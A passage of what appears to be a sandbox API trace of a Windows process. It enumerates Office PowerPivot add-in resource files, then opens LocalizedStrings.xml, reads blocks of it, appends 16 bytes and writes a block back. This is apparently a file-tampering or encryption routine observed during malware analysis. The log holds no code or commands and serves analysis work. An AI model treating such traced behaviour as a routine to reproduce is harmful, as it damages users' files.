dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0256.728] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0256.729] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0256.729] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7ca9e76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7ca9e76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0256.729] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6ed802, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6ed802, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb713a45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0256.729] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2616676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2616676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0256.729] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0256.729] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0256.729] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.730] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0256.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0256.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0256.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0256.730] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es", lpFilePart=0x0) returned 0x51 [0256.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0256.730] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.730] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0256.731] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0256.731] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0256.731] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0256.731] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bf45a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bf45a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x200030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0256.731] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0256.731] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.732] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0256.732] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0256.732] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0256.732] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0256.732] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0256.733] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0256.733] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0256.733] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7ca9e76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7ca9e76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0256.733] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6ed802, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6ed802, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb713a45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0256.733] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2616676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2616676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0256.733] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0256.734] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0256.734] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0256.734] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0256.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0256.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0256.734] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0256.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3ee8120 | out: lpFileInformation=0x3ee8120*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135)) returned 1 [0256.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0256.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.746] GetFileType (hFile=0x86c) returned 0x1 [0256.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.746] GetFileType (hFile=0x86c) returned 0x1 [0256.746] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0256.746] ReadFile (in: hFile=0x86c, lpBuffer=0x3ee85d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3ee85d8*, lpNumberOfBytesRead=0x206ec9c8*=0x135, lpOverlapped=0x0) returned 1 [0256.759] CloseHandle (hObject=0x86c) returned 1 [0256.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.759] GetFileType (hFile=0x86c) returned 0x1 [0256.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.759] GetFileType (hFile=0x86c) returned 0x1 [0256.759] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1135 [0256.760] WriteFile (in: hFile=0x86c, lpBuffer=0x3eefb50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3eefb50*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0256.760] CloseHandle (hObject=0x86c) returned 1 [0256.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.760] GetFileType (hFile=0x86c) returned 0x1 [0256.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.760] GetFileType (hFile=0x86c) returned 0x1 [0256.760] ReadFile (in: hFile=0x86c, lpBuffer=0x3ef1e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3ef1e60*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0256.842] CloseHandle (hObject=0x86c) returned 1 [0256.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\es\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.842] GetFileType (hFile=0x86c) returned 0x1 [0256.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.842] GetFileType (hFile=0x86c) returned 0x1 [0256.842] WriteFile (in: hFile=0x86c, lpBuffer=0x3ef0b68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3ef0b68*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0256.842] CloseHandle (hObject=0x86c) returned 1 [0256.842] GetFullPathNameW 